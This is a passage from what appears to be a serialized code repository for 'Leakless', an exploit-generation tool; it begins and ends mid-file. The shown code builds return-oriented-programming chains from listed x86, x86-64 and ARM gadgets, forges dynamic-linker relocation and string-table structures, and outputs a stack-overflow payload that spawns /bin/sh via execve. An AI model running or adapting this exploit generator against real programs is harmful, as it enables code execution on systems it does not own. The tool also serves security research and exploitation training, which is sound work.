`ldd`)\n            for _ in xrange(1, self.library_index + 1):\n                exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),\n                                                           self.ptr2str(l_next_offset),\n                                                           self.ptr2str(first_lib_link_map_area.start))\n\n            # dyn_gotplt = *(*first_lib_link_map + offsetof(l_info) + offsetof(DT_PLTGOT))\n            dt_pltgot_offset = ENUM_D_TAG[\"DT_PLTGOT\"] * self.pointer_size\n            exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),\n                                                       self.ptr2str(l_info_offset + dt_pltgot_offset),\n                                                       self.ptr2str(dyn_gotplt_area.start))\n\n            # gotplt = *(*dyn_gotplt + offsetof(d_val))\n            d_val_offset = self.pointer_size\n            exploit += self.deref_with_offset_and_save(self.ptr2str(dyn_gotplt_area.start),\n                                                       self.ptr2str(d_val_offset),\n                                                       self.ptr2str(gotplt_area.start))\n\n            # dl_resolve = *(*gotplt + offsetof(dl_resolve_offset))\n            dl_resolve_offset = self.pointer_size * 2 # Take GOT[2]\n            exploit += self.deref_with_offset_and_save(self.ptr2str(gotplt_area.start),\n                                                       self.ptr2str(dl_resolve_offset),\n                                                       self.ptr2str(dl_resolve_area.start))\n\n            # Make DT_JMPREL of the main executable point to our fake relocation\n            # *(*exe_link_map + offsetof(l_info) + offsetof(DT_REL)) = fake_relocation\n            dt_rel_offset = ENUM_D_TAG[\"DT_JMPREL\"] * self.pointer_size\n            exploit += self.write_with_offset(self.ptr2str(exe_link_map_area.start),\n                                              self.ptr2str(l_info_offset + dt_rel_offset),\n                                              self.ptr2str(dt_jmprel_entry_area.start))\n\n            l_pointer = exe_link_map_area.start\n            dl_resolve_pointer = dl_resolve_area.start\n            plt0 = None\n            reloc_index = 0\n\n        # Make DT_STRTAB point to our fake DT_STRTAB structure\n        # *(*l_pointer + offsetof(l_info) + offsetof(DT_STRTAB)) = dt_strtab_entry\n        exploit += self.write_with_offset(self.ptr2str(l_pointer),\n                                          self.ptr2str(l_info_offset + dt_strtab_offset),\n                                          self.ptr2str(dt_strtab_entry_area.start))\n\n        return ExploitInfo(prepare=exploit,\n                           reloc_index=reloc_index,\n                           l_struct=l_pointer,\n                           dl_resolve=dl_resolve_pointer,\n                           plt0=plt0,\n                           function_name_area=function_name_area)\n\ndef launch(exploit, program):\n    \"\"\"Launch an execve(\"/bin/sh/\", &null, &null); exploit.\"\"\"\n\n    buffer = Buffer(exploit, exploit.writeable_ranges)\n\n    binsh_str = program + \"\\0\"\n\n    pointer_to_null = buffer.allocate(exploit.pointer_size, name=\"pointer_to_null\")\n    binsh = buffer.allocate(len(binsh_str), name=\"binsh\")\n\n    result = \"\"\n\n    result += exploit.allocate_helpers(buffer)\n\n    # Pointer to NULL\n    result += exploit.write_pointer(pointer_to_null, 0)\n\n    # /bin/sh\n    result += exploit.write_string(binsh, binsh_str)\n\n    # TODO: fixme\n    exploit_info = exploit.jump_to(buffer, len(\"execve\\0\"))\n\n    result += exploit.write_string(exploit_info.function_name_area, \"execve\\0\")\n\n    result += exploit_info.prepare\n\n    result = exploit.flush(buffer) + result\n\n    result += invoke(exploit, exploit_info, [binsh.pointer, pointer_to_null.pointer, pointer_to_null.pointer])\n\n    log(buffer.dump())\n\n    return result\n\ndef invoke(exploit, exploit_info, parameters):\n    result = \"\"\n\n    if exploit_info.plt0 is not None:\n        # Invocation of the dynamic linker resolver (plt[0]) with the\n        # appropriate relocation index\n        launch = exploit.ptr2str(exploit_info.plt0) + exploit.ptr2str(exploit_info.reloc_index)\n\n        prepare, nope, stack_frame = exploit.call(launch, parameters)\n        result += prepare + stack_frame\n\n    elif (exploit_info.dl_resolve is not None) and \\\n         (exploit_info.l_struct is not None):\n\n        # TODO: this is outdated\n        # Layout:\n        #    &copy_to_stack\n        #    offset = C - A\n        #    destination\n        # A: &copy_to_stack\n        #    offset = B - B\n        #    destination\n        # B: &dl_resolve\n        # C: &l\n        #    reloc_index\n\n        function_call, next_gadget_offset, stack_frame = exploit.call(exploit.filler, parameters)\n\n        copy_dl_resolve = exploit.copy_to_stack(exploit.ptr2str(exploit_info.dl_resolve),\n                                                exploit.ptr2str(next_gadget_offset + 0 * exploit.pointer_size))\n\n        result += exploit.copy_to_stack(exploit.ptr2str(exploit_info.l_struct),\n                                        exploit.ptr2str(len(copy_dl_resolve) + len(function_call))) + \\\n                 copy_dl_resolve + \\\n                 function_call + \\\n                 exploit.filler + \\\n                 exploit.ptr2str(exploit_info.reloc_index) + \\\n                 stack_frame\n    else:\n        raise Exception(\"Don't know how to launch the exploit\")\n\n    return result\n\nexploit_method = {\n    \"ld-corrupt\": CorruptLdSoExploit,\n    \"craft-dl-structs\": CraftDlStructsExploit\n}\n\ndef main():\n    # Handle arguments\n    parser = argparse.ArgumentParser(description='Leakless')\n    parser.add_argument('executable', metavar='EXECUTABLE', help='Path to the executable to exploit.', nargs=1)\n    parser.add_argument(\"-o\", '--output', metavar=\"TYPE\", default=\"rop-chain\", help='\"rop-chain\" will generate a ROP chain to exploit a stack based buffer overflow. \"json\" will output information about what needs to be written and where, along with the address of _dl_resolve_address and the index to pass it. Default is \"rop-chain\".')\n    parser.add_argument(\"-m\", \"--method\", metavar=\"METHOD\", default=\"craft-dl-structs\", help='\"craft-dl-structs\" will try to create all the structures necessary to invoke the dynamic loader in a writable memory address.\\n\"ld-corrupt\" changes the pointer to DT_STRTAB ElfN_Dyn entry in an internal data structure of the loader and fakes a .dynstr table. Default is \"craft-dl-structs\".')\n    parser.add_argument(\"-v\", '--verbose', action='store_true', help=\"Print debug information.\")\n    parser.add_argument(\"-f\", '--offset', metavar='OFFSET', type=int, help='Offset to overwrite the saved PC.')\n    parser.add_argument(\"-l\", '--library', metavar='LIBRARY', type=int, default=0, help='When using the \"ld-corrupt\" method, use the LIBRARY-th dependency to obtain the dl_resolve pointer. Use `ldd` to get the order of the libraries. By default is 0.')\n    parser.add_argument(\"-s\", '--size', action=\"store_true\", help=\"Don't output the acutal ROP chain, but just its size.\")\n    args = parser.parse_args()\n\n    executable_path = args.executable[0]\n\n    utils.verbose = args.verbose\n\n    # TODO: implement \"gdb\" output method\n    if args.output in [\"json\", \"ropl\"]:\n        route = \"dump\"\n    else:\n        route = args.output\n\n    # Handle registered modules\n    gadget_providers = {}\n    modules = glob.glob(os.path.dirname(__file__) + \"/plugins/*.py\")\n    modules = [os.path.splitext(os.path.basename(module))[0] for module in modules]\n    modules.remove(\"__init__\")\n\n    for module_name in modules:\n        module = importlib.import_module(\"plugins.\" + module_name)\n        for key, value in module.register_gadget_provider():\n            gadget_providers[key] = value\n\n    # Instantiate inline a class with the appropriate subclasses\n    exploit = (type(\"\", (gadget_providers[route], exploit_method[args.method], object), {}))()\n    exploit.config_from_elf(executable_path)\n    exploit.library_index = args.library\n\n    if args.output == \"json\":\n        # TODO: move in an external function\n        buffer = Buffer(exploit, exploit.writeable_ranges)\n        exploit_info = exploit.jump_to(buffer, len(\"execve\\0\"))\n        result = exploit.empty_exploit()\n        result += exploit.write_string(exploit_info.function_name_area, \"execve\\0\")\n\n        result += exploit_info.prepare\n\n        result = exploit.flush(buffer) + result\n\n        what_to_write = []\n\n        for gadget_type, value, address, offset in result:\n            if gadget_type == \"write_constant\":\n                address = hex(exploit.str2ptr(address))\n            elif gadget_type == \"write_with_offset\":\n                address = {\"deref\": hex(exploit.str2ptr(address)), \"offset\": hex(exploit.str2ptr(offset))}\n            elif gadget_type == \"deref_with_offset_and_save\":\n                address = {\"deref\": hex(exploit.str2ptr(address)), \"offset\": hex(exploit.str2ptr(offset))}\n                what_to_write.append({\"address\": hex(exploit.str2ptr(value)), \"value\": address})\n                continue\n\n            what_to_write.append({\"address\": address, \"value\": value.encode(\"hex\")})\n\n        result = {\"write\": what_to_write, \"reloc_index\": exploit_info.reloc_index}\n\n        if exploit_info.plt0 is not None:\n            result[\"plt0\"] = hex(exploit_info.plt0)\n        else:\n            result[\"l_struct\"] = hex(exploit_info.l_struct)\n            result[\"dl_resolve\"] = hex(exploit_info.dl_resolve)\n\n        sys.stdout.write(json.dumps(result, indent=4, sort_keys=True) + \"\\n\")\n        return\n    elif args.output == \"ropl\":\n        # TODO: move in an external function\n        buffer = Buffer(exploit, exploit.writeable_ranges)\n        exploit_info = exploit.jump_to(buffer, len(\"execve\\0\"))\n        result = exploit.empty_exploit()\n        result += exploit.write_string(exploit_info.function_name_area, \"execve\\0\", buffered=False)\n\n        result += exploit_info.prepare\n\n        result = exploit.flush(buffer) + result\n\n        sys.stdout.write(\"fun main() {\\n\")\n        emit = lambda x: sys.stdout.write(\"    \" + x + \"\\n\")\n\n        for gadget_type, value, address, offset in result:\n            if gadget_type == \"write_constant\":\n                address = exploit.str2ptr(address)\n                remaining = len(value) %  exploit.pointer_size\n\n                if remaining != 0:\n                    value += \"\\x00\" * (exploit.pointer_size - remaining)\n\n                for word, address in izip(chunks(value, exploit.pointer_size), xrange(address, address + len(value) / 4, 4)):\n                    emit(\"v = {}\".format(hex(address)))\n                    emit(\"[v] = {}\".format(hex(exploit.str2ptr(word))))\n\n            elif gadget_type == \"write_with_offset\":\n                address = hex(exploit.str2ptr(address))\n                offset = hex(exploit.str2ptr(offset))\n                value = hex(exploit.str2ptr(value))\n\n                emit(\"address = {}\".format(address))\n                emit(\"target = [address] + {}\".format(offset))\n                emit(\"[target] = {}\".format(value))\n\n            elif gadget_type == \"deref_with_offset_and_save\":\n                save_address, pointer_address, offset = hex(exploit.str2ptr(value)), hex(exploit.str2ptr(address)), hex(exploit.str2ptr(offset))\n                emit(\"target = {}\".format(save_address))\n                emit(\"source = {}\".format(pointer_address))\n                emit(\"value = [source] + {}\".format(offset))\n                emit(\"[target] = [value]\".format(save_address))\n            emit(\"\")\n\n        sys.stdout.write(\"}\\n\")\n        return\n    else:\n        if args.offset is None:\n            log(\"Please give me the offset to reach the saved PC.\")\n            sys.exit(-1)\n\n        exploit = launch(exploit, \"/bin/sh\")\n        if args.size:\n            sys.stdout.write(str(len(exploit)) + \"\\n\")\n        else:\n            sys.stdout.write(\"A\" * args.offset + exploit)\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "memory.py",
    "content": "from rangeset import RangeSet\n\nfrom utils import align, chunks, log\n\nclass AllocateFailException(Exception):\n    pass\n\nclass Buffer:\n    \"\"\"Create a Buffer from the specified ranges.\n    Please provide disjoint ranges.\"\"\"\n    def __init__(self, exploit, ranges):\n        self.exploit = exploit\n        self.areas = {}\n        self.ranges = ranges\n        self.cleanup_ranges()\n\n    # TODO: keep track of spaoce left empty and try to reuse it\n    # TODO: add an upper boundary\n    def allocate(self, size, align_to=None, alignment=None, name=None, constraint=lambda x,y: True, start=None):\n        if start is not None:\n            result = MemoryArea(self.exploit, start, size, align_to, alignment)\n            if (result.start, result.end) not in self.ranges:\n                raise Exception(\"The range (\" + hex(result.start) + \", \" + hex(result.end) + \") is not allowed\")\n        else:\n            for candidate_range in self.ranges:\n                start, end = candidate_range\n\n                result = MemoryArea(self.exploit, start, size, align_to, alignment)\n                start += result.size\n\n                while (start < end) and (not constraint(result.start, result.index)):\n                    result = MemoryArea(self.exploit, start, size, align_to, alignment)\n                    start += result.size\n\n                if start < end:\n                    break\n                else:\n                    result = None\n\n        if result is None:\n            raise AllocateFailException(\"Couldn't find a position for memory area \\\"\" + str(name) + \"\\\" satisfying the imposed constraints before the end of the available buffer.\")\n        else:\n            # We have to create a hole in the appropriate range\n            self.ranges = self.ranges - RangeSet(result.start, result.end)\n            self.cleanup_ranges()\n\n        if name is not None:\n            self.areas[name] = result\n\n        return result\n\n    def cleanup_ranges(self):\n        self.ranges = RangeSet.mutual_union(*filter(lambda (start, end): start != end, list(self.ranges)))\n\n    def dump(self):\n        result = \"\"\n        for k, v in self.areas.iteritems():\n            result += \"Area \" + k + \"\\n\" + \"\\n\".join([\" \" * 4 + line for line in v.dump().split(\"\\n\")]) + \"\\n\"\n        return result\n\nclass MemoryArea:\n    def __init__(self, exploit, start, size, align_to=None, alignment=None):\n        self.exploit = exploit\n        if align_to is not None:\n            if start < align_to:\n                raise Exception(\"Trying to align to a something which is after our buffer: aligning \" + self.exploit.pointer_format % start + \" to \" + self.exploit.pointer_format % align_to)\n            self.align_to = align_to\n            self.alignment = size if (alignment is None) else alignment\n            self.start = align(start, self.align_to, self.alignment)\n            self.index = (self.start - self.align_to) / self.alignment\n        else:\n            self.alignment = 1\n            self.align_to = 0\n            self.start = start\n            self.index = 0\n\n        self.content = \"\"\n        self.pointer = self.exploit.ptr2str(self.start)\n        self.size = size\n        self.end = self.start + self.size\n        self.wasted = -1\n        self.is_buffered = False\n        if self.index < 0:\n            log(\"Warning: a negative index has been computed: \" + str(self.index))\n\n    def dump(self):\n        result = \"\"\n        result += \"Start: \" + self.exploit.pointer_format % self.start + \" (\" + self.exploit.closest_section_from_address(self.start) + \")\\n\"\n        result += \"Size: \" + self.exploit.pointer_format % self.size + \" (\" + str(self.size) + \")\\n\"\n        result += \"End: \" + self.exploit.pointer_format % self.end + \"\\n\"\n        result += \"Base: \" + self.exploit.pointer_format % self.align_to + \"\\n\"\n        result += \"Alignment: \" + str(self.alignment) + \"\\n\"\n        result += \"Index: \" + hex(self.index) + \" (\" + str(self.index) + \")\\n\"\n        result += \"Wasted: \" + str(self.wasted) + \"\\n\"\n        result += \"Content:\\n\"\n        for chunk in chunks(self.content, self.exploit.pointer_size):\n            result += \" \" * 4 + \" \".join([\"%.2x\" % ord(c) for c in chunk]) + \" \" + (self.exploit.pointer_format % self.exploit.str2ptr(chunk) if len(chunk) == self.exploit.pointer_size else \"\") + \"\\n\"\n        return result\n"
  },
  {
    "path": "plugins/CommonGadgetsExploit.py",
    "content": "from exploit import Exploit\nfrom utils import insert_and_replace\n\nclass CommonGadgetsExploit(Exploit):\n    \"\"\"Mainly add a pool of gadgets common in the various architectures.\"\"\"\n\n    def __init__(self):\n        Exploit.__init__(self)\n\n        # Good for FreeBSD\n\n        # self.add_gadget(\"EM_386\", \"writemem\", 4,\n        #                 \" 8b 44 24 08\" + # mov    eax,DWORD PTR [esp+0x8] \\\n        #                 \" 8b 4c 24 04\" + # mov    ecx,DWORD PTR [esp+0x4] \\\n        #                 \" 89 01\" +       # mov    DWORD PTR [ecx],eax \\\n        #                 \" c3\")           # ret\n\n        # self.add_gadget(\"EM_386\", \"cleanup\", 3,\n        #                 \" 83 c4 0c\" + # add    esp,0xc \\\n        #                 \" c3\")        # ret\n\n        # Good for Linux\n\n        self.add_gadget(\"EM_386\", \"writemem\", 4,\n                        \" 8b 54 24 08\" + # mov edx,DWORD PTR [esp+0x8] \\\n                        \" 8b 44 24 04\" + # mov eax,DWORD PTR [esp+0x4] \\\n                        \" 89 10\"       + # mov DWORD PTR [eax],edx \\\n                        \" c3\")           # ret\n\n        # *(*(eax)+ecx) = ebx\n        self.add_gadget(\"EM_386\", \"deref_write_with_offset\", 4,\n                        \" 58\"       + # pop eax \\\n                        \" 5b\"       + # pop ebx \\\n                        \" 59\"       + # pop ecx \\\n                        \" 8b 00\"    + # mov eax,DWORD PTR [eax] \\\n                        \" 89 1c 08\" + # mov DWORD PTR [eax+ecx*1],ebx \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_386\", \"deref_with_offset_and_save\", 4,\n                        \" 58\"       + # pop eax \\\n                        \" 5b\"       + # pop ebx \\\n                        \" 59\"       + # pop ecx \\\n                        \" 8b 00\"    + # mov eax,DWORD PTR [eax]\n                        \" 8b 04 18\" + # mov eax,DWORD PTR [eax+ebx*1] \\\n                        \" 89 01\"    + # mov DWORD PTR [ecx],eax \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_386\", \"copy_to_stack\", 4,\n                        \" 5b\"       + # pop ebx \\\n                        \" 59\"       + # pop ecx \\\n                        \" 8b 1b\"    + # mov ebx,DWORD PTR [ebx] \\\n                        \" 89 1c 0c\" + # mov DWORD PTR [esp+ecx*1],ebx \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_386\", \"cleanup\", 4,\n                        \" 5b\" + # pop ebx \\\n                        \" 5e\" + # pop esi \\\n                        \" 5f\" + # pop edi \\\n                        \" 5d\" + # pop ebp \\\n                        \" c3\")  # ret\n\n        self.add_gadget(\"EM_386\", \"prepare_memcpy\", 4,\n                        \" 58\"       + # pop eax \\\n                        \" 5e\"       + # pop esi \\\n                        \" 01 e6\"    + # add esi,esp \\\n                        \" 89 34 04\" + # mov DWORD PTR [esp+eax*1],esi \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_386\", \"custom_cleanup\", 4,\n                        \" 5b\"       + # pop ebx \\\n                        \" 01 dc\"    + # add esp,ebx \\\n                        \" c3\")        # ret\n\n        # This gadget requires 6 useless parameters\n\n        self.add_gadget(\"EM_X86_64\", \"writemem\", 8,\n                        \" 48 8b 54 24 10\" + # mov rdx,QWORD PTR [rsp+0x10] \\\n                        \" 48 8b 44 24 08\" + # mov rax,QWORD PTR [rsp+0x8] \\\n                        \" 48 89 10\"       + # mov QWORD PTR [rax],rdx \\\n                        \" c3\")              # ret\n\n        self.add_gadget(\"EM_X86_64\", \"writemem\", 8,\n                        \" 48 89 37\"       + # mov    QWORD PTR [rdi],rsi \\\n                        \" c3\")              # ret\n\n        self.add_gadget(\"EM_X86_64\", \"cleanup\", 6,\n                        \" 5b\"    + # pop    rbx \\\n                        \" 5d\"    + # pop    rbp \\\n                        \" 41 5c\" + # pop    r12 \\\n                        \" 41 5d\" + # pop    r13 \\\n                        \" 41 5e\" + # pop    r14 \\\n                        \" 41 5f\" + # pop    r15 \\\n                        \" c3\")     # ret\n\n        self.add_gadget(\"EM_X86_64\", \"args\", None,\n                        \" 4c 89 ea\" +   # mov    rdx,r13 \\\n                        \" 4c 89 f6\" +   # mov    rsi,r14 \\\n                        \" 44 89 ff\" +   # mov    edi,r15d \\\n                        \" 41 ff 14 dc\") # call   QWORD PTR [r12+rbx*8]\n\n        self.add_gadget(\"EM_X86_64\", \"deref_write_with_offset\", None,\n                        \" 58\"          + # pop    rax \\\n                        \" 5b\"          + # pop    rbx \\\n                        \" 59\"          + # pop    rcx \\\n                        \" 48 8b 00\"    + # mov    rax,QWORD PTR [rax] \\\n                        \" 48 89 1c 08\" + # mov    QWORD PTR [rax+rcx*1],rbx \\\n                        \" c3\")           # ret\n\n        self.add_gadget(\"EM_X86_64\", \"deref_with_offset_and_save\", None,\n                        \" 58\"          + # pop    rax \\\n                        \" 5b\"          + # pop    rbx \\\n                        \" 59\"          + # pop    rcx \\\n                        \" 48 8b 00\"    + # mov    rax,QWORD PTR [rax] \\\n                        \" 48 8b 04 18\" + # mov    rax,QWORD PTR [rax+rbx*1] \\\n                        \" 48 89 01\"    + # mov    QWORD PTR [rcx],rax \\\n                        \" c3\")           # ret\n\n        self.add_gadget(\"EM_X86_64\", \"copy_to_stack\", None,\n                        \" 5b\"          + # pop    rbx \\\n                        \" 59\"          + # pop    rcx \\\n                        \" 48 8b 1b\"    + # mov    rbx,QWORD PTR [rbx] \\\n                        \" 48 89 1c 0c\" + # mov    QWORD PTR [rsp+rcx*1],rbx \\\n                        \" c3\")           # ret\n\n        self.add_gadget(\"EM_X86_64\", \"prepare_memcpy\", None,\n                        \" 5e\"       + # pop    rsi \\\n                        \" 48 01 e6\" + # add    rsi,rsp \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_X86_64\", \"custom_cleanup\", None,\n                        \" 58\"       + # pop    rax \\\n                        \" 48 01 c4\" + # add    rsp,rax \\\n                        \" c3\")        # ret\n\n        self.add_gadget(\"EM_X86_64\", \"prepare_easy\", None,\n                        \" 5f\"       + # pop    rdi \\\n                        \" 5e\"       + # pop    rsi \\\n                        \" 5a\"       + # pop    rdx \\\n                        \" c3\")        # ret\n\n        # Assume LE\n\n        self.add_gadget(\"EM_ARM\", \"writemem\", 4,\n                        \" 00 10 80 e5\" + # str r1, [r0] \\\n                        \" 1e ff 2f e1\")  # bx lr\n\n        # Better not use this due to a bug in QEMU\n\n        #self.add_gadget(\"EM_ARM\", \"prepare_regs\", None,\n        #                \" f8 85 bd e8\")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}\n\n        self.add_gadget(\"EM_ARM\", \"prepare_regs\", None,\n                        \" f8 85 bd 08\")  # popeq {r3, r4, r5, r6, r7, r8, sl, pc}\n\n        self.add_gadget(\"EM_ARM\", \"setup_args\", None,\n                        \" 07 00 a0 e1\" + # mov r0, r7 \\\n                        \" 08 10 a0 e1\" + # mov r1, r8 \\\n                        \" 0a 20 a0 e1\" + # mov r2, sl \\\n                        \" 01 40 84 e2\" + # add r4, r4, #1 \\\n                        \" 33 ff 2f e1\" + # blx r3 \\\n                        \" 06 00 54 e1\" + # cmp r4, r6 \\\n                        \" f7 ff ff 1a\" + # bne 8604 <__libc_csu_init+0x38> \\\n                        \" f8 85 bd e8\")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}\n\n        self.add_gadget(\"EM_ARM\", \"just_ret\", None,\n                        \" 1e ff 2f e1\")  # bx      lr\n\n    def allocate_helpers(self, buffer):\n        \"\"\"Allocate helper buffers needed by some specific platforms (e.g. for cleanup\n        purposes)\"\"\"\n        result = Exploit.allocate_helpers(self, buffer)\n        if self.arch == \"EM_X86_64\":\n            self.popret = buffer.allocate(self.pointer_size, name=\"popret\")\n            nope, nope, cleanup_location = self.get_gadget(\"cleanup\")\n            result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8)\n        return result\n\n    def deref_with_offset_and_save(self, pointer_address, offset, save_address):\n        \"\"\"Dereference the address in the given memory area (pointer_address),\n        add the offset, and copy the content to the given address\n        (save_address).\"\"\"\n        none, none, location = self.get_gadget(\"deref_with_offset_and_save\")\n        return location + pointer_address + offset + save_address\n\n    def write_with_offset(self, pointer_address, offset, value):\n        \"\"\"Dereference the address in the given memory area, add the specified\n        offset and write there the specified value.\"\"\"\n        none, none, location = self.get_gadget(\"deref_write_with_offset\")\n        return location + pointer_address + value + offset\n\n    def copy_to_stack(self, offset, source):\n        \"\"\"Copy the content of the given memory area (source) at the specified\n        offset from the stack pointer. When computing the offset assume the\n        following layout (assuming 32-bit pointers):\n\n        ...\n        &gadget              -12\n        offset                -8\n        &source               -4\n        &next_return_address   0\n        parameter1            +4\n        ...\n        \"\"\"\n        none, none, location = self.get_gadget(\"copy_to_stack\")\n        return location + offset + source\n\n    def call(self, invocation, parameters):\n        \"\"\"ROP function invocation: return a ROP chain that sets up the arguments on the\n        stack and/or on the registers, invoke the function and cleanup the\n        arguments.\"\"\"\n        if self.arch == \"EM_386\":\n            return self.call32(invocation, parameters)\n        elif self.arch == \"EM_X86_64\":\n            return self.call64(invocation, parameters)\n        elif self.arch == \"EM_ARM\":\n            return self.call_arm(invocation, parameters)\n        else:\n            raise Exception(\"Unsupported architecture\")\n\n    def call32(self, invocation, parameters):\n        \"\"\"Implements the i386 calling convention.\"\"\"\n        cleanup_size, nope, cleanup_location = self.get_gadget(\"cleanup\")\n        if len(parameters) > cleanup_size:\n            raise Exception(\"Too many parameters, find a better gadget\")\n\n        prepare = invocation\n        stack_frame = cleanup_location + \\\n                      \"\".join(map(str, parameters)) + \\\n                      self.filler * (cleanup_size - len(parameters))\n        return prepare, 0, stack_frame\n\n    def call64(self, invocation, parameters):\n        \"\"\"Implements the x86_64 calling convention.\"\"\"\n        if len(parameters) > 3:\n            raise Exception(\"Too many parameters\")\n        elif self.str2ptr(parameters[0]) & 0xffffffff00000000 != 0:\n            raise Exception(\"First parameter high part has to be 0\")\n        elif len(parameters) == 0:\n            return invocation\n        elif len(parameters) < 3:\n            parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))\n\n        preapare_easy_location = self.get_gadget(\"prepare_easy\")\n        if preapare_easy_location is not None:\n            preapare_easy_location = preapare_easy_location[2]\n            prepare = preapare_easy_location + \"\".join(parameters)\n        else:\n            nope, nope, args_location = self.get_gadget(\"args\")\n            nope, nope, cleanup_location = self.get_gadget(\"cleanup\")\n            prepare = cleanup_location\n            prepare += self.ptr2str(0) # rbx\n            prepare += self.ptr2str(1) # rbp == rbx + 1\n            prepare += self.ptr2str(self.fini + 8) # r12, jump to pop;ret\n            prepare += parameters[2] # r13 -> rdx\n            prepare += parameters[1] # r14 -> rsi\n            prepare += parameters[0] # r15 -> edi\n            prepare += args_location # move registers; call pop;ret\n            prepare += self.filler * 7\n\n        prepare += invocation\n\n        return prepare, len(prepare) - len(invocation), \"\"\n\n    def call_arm(self, invocation, parameters):\n        \"\"\"Implements the ARM calling convention.\"\"\"\n        if len(parameters) > 3:\n            raise Exception(\"Too many parameters, find a better gadget\")\n        elif len(parameters) == 0:\n            return invocation\n        elif len(parameters) < 3:\n            parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))\n\n        nope, nope, prepare_regs_location = self.get_gadget(\"prepare_regs\")\n        nope, nope, setup_args_location = self.get_gadget(\"setup_args\")\n        prepare = prepare_regs_location\n        prepare += invocation[0:4] # r3, target of a blx\n        prepare += self.ptr2str(0) # r4\n        prepare += self.filler # r5\n        prepare += self.ptr2str(1) # r6 == r4 + 1\n        prepare += parameters[0] # r7 -> r0\n        prepare += parameters[1] # r8 -> r1\n        prepare += parameters[2] # sl -> r2\n        prepare += setup_args_location # pc\n        prepare += self.filler * 7 # pop again 7 regs + pc\n\n        return prepare, len(prepare_regs_location), \"\"\n\n    def do_writemem(self, address, value):\n        \"\"\"Write a pointer-sized buffer to the specfied location. This\n        function uses the writemem gadget.\"\"\"\n        write_size, nope, location = self.get_gadget(\"writemem\")\n\n        remaining = \"\"\n        if len(value) > write_size:\n            remaining = value[write_size:]\n            value = value[0:write_size]\n        elif len(value) < write_size:\n            value = value.ljust(write_size, \"\\0\")\n\n        # TODO: using kill for this is overkill, create a simpler gadget\n        prepare, nope, stack_frame = self.call(location, [address, value])\n        return remaining, prepare + stack_frame\n\n    def memcpy(self, destination, data):\n        write_size, nope, prepare_memcpy_location = self.get_gadget(\"prepare_memcpy\")\n        write_size, nope, custom_cleanup_location = self.get_gadget(\"custom_cleanup\")\n\n        if len(data) % 4 != 0:\n            data = data + \"\\x00\" * (4 - len(data) % 4)\n\n        from utils import log\n        log(\"I've to write \" + str(len(data)) + \" bytes at \" + hex(destination))\n\n        if self.arch == \"EM_386\":\n            result = prepare_memcpy_location + self.ptr2str(self.pointer_size * 3) # + self.ptr2str(0)\n\n            prepare, nope, stack_frame = self.call(self.ptr2str(self.memcpy_plt), [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])\n            invocation = prepare + stack_frame\n            invocation += custom_cleanup_location + self.ptr2str(len(data))\n\n            # Offset from ESP to position of the buffer\n            result += self.ptr2str(len(invocation))\n            result += invocation\n\n            result += data\n\n            return result\n        elif self.arch == \"EM_X86_64\":\n            invocation = prepare_memcpy_location + self.filler + self.ptr2str(self.memcpy_plt)\n\n            prepare, invocation_start, stack_frame = self.call(invocation, [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])\n            invocation = prepare + stack_frame\n            invocation += custom_cleanup_location + self.ptr2str(len(data))\n            invocation = insert_and_replace(invocation, self.ptr2str(len(invocation) - invocation_start - self.pointer_size * 2), invocation_start + self.pointer_size)\n\n            result = invocation\n\n            result += data\n\n            return result\n            #return location + self.ptr2str(0) + self.ptr2str(len(data)) + self.ptr2str(self.memcpy_plt)\n        else:\n            raise Exception(\"Unsupported architecture\")\n\n\ndef register_gadget_provider():\n    return [(\"rop-chain\", CommonGadgetsExploit)]\n"
  },
  {
    "path": "plugins/RawDumperExploit.py",
    "content": "from exploit import Exploit\n\nclass RawDumperExploit(Exploit):\n    def __init__(self):\n        Exploit.__init__(self)\n        self.empty_exploit = lambda: []\n\n    def do_writemem(self, address, value):\n        \"\"\"Write a pointer-sized buffer to the specfied location.\"\"\"\n        return \"\", [(\"write_constant\", value, address, None)]\n\n    def write_with_offset(self, pointer_address, offset, value):\n        return [(\"write_with_offset\", value, pointer_address, offset)]\n\n    def deref_with_offset_and_save(self, pointer_address, offset, save_address):\n        return [(\"deref_with_offset_and_save\", save_address, pointer_address, offset)]\n\ndef register_gadget_provider():\n    return [(\"dump\", RawDumperExploit)]\n"
  },
  {
    "path": "plugins/__init__.py",
    "content": ""
  },
  {
    "path": "rangeset.py",
    "content": "\"\"\"\nThis module provides a RangeSet data structure. A range set is, as the\nname implies, a set of ranges. Intuitively, you could think about a\nrange set as a subset of the real number line, with arbitrary gaps.\nSome examples of range sets on the real number line:\n\n1. -infinity to +infinity\n2. -1 to 1\n3. 1 to 4, 10 to 20\n4. -infinity to 0, 10 to 20\n5. (the empty set)\n\nThe code lives on github at: https://github.com/axiak/py-rangeset.\n\nOverview\n-------------\n\n.. toctree::\n   :maxdepth: 2\n\n\nThe rangeset implementation offers immutable objects that represent the range\nsets as described above. The operations are largely similar to the\n`set object <http://docs.python.org/library/stdtypes.html#set>`_ with the\nobvious exception that mutating methods such as ``.add`` and ``.remove``\nare not available. The main object is the ``RangeSet`` object.\n\"\"\"\n\nimport bisect\nimport operator\nimport functools\nimport collections\n\n__version__ = (0, 0, 6)\n\n__all__ = ('INFINITY', 'NEGATIVE_INFINITY',\n           'RangeSet')\n\n_parent = collections.namedtuple('RangeSet_', ['ends'])\n\nclass _Indeterminate(object):\n    def timetuple(self):\n        return ()\n    def __eq__(self, other):\n        return other is self\n\nclass _Infinity(_Indeterminate):\n    def __lt__(self, other):\n        return False\n    def __gt__(self, other):\n        return True\n    def __str__(self):\n        return 'inf'\n    __repr__ = __str__\n\nclass _NegativeInfinity(_Indeterminate):\n    def __lt__(self, other):\n        return True\n    def __gt__(self, other):\n        return False\n    def __str__(self):\n        return '-inf'\n    __repr__ = __str__\n\nINFINITY = 